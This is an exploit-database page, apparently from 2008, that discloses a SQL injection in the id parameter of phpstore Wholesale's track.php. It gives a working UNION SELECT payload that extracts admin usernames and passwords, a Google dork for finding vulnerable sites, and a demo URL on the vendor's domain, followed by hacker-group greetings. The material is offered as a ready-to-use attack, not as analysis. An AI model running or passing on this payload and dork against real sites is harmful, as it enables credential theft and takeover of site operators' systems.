[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : phpstore Wholesale (track.php?id) SQL Injection Vulnerability
# Published : 2008-11-16
# Author : Hussin X
# Previous Title : FloSites Blog Multiple Remote SQL Injection Vulnerabilities
# Next Title : ClipShare Pro 2006-2007 (chid) SQL Injection Vulnerability
|___________________________________________________
|
| Wholesale ( track.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|
|
| Author: Hussin X
|
| Home : WwW.IQ-ty.CoM
|
| email: darkangel_g85@Yahoo.com
|
|___________________________________________________
|
| script : http://www.phpstore.info/product_info.php?cPath=36_53&products_id=162
|
| DorK : inurl:"track.php?id="
|___________________________________________________
Exploit:
________
www.[target].com/Script/track.php?id=-2+union+select+concat(username,0x3e,password)+FROM+admin--
Demo
________
http://phpstore.info/demos/wholesale/track.php?id=-2+union+select+concat(username,0x3e,password)+FROM+admin--
____________________________( Greetz )_________________________________
|
| All members of the Forum| WwW.IQ-ty.CoM | WwW.TrYaG.CC |
|
| My friends : DeViL iRaQ | IRAQ_JAGUR | Cyber-Zone | Sakab
|
| Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | CraCkEr | G4N0K
|_____________________________________________________________________
Im IRAQi | Im TrYaGi
# www.Syue.com [2008-11-16]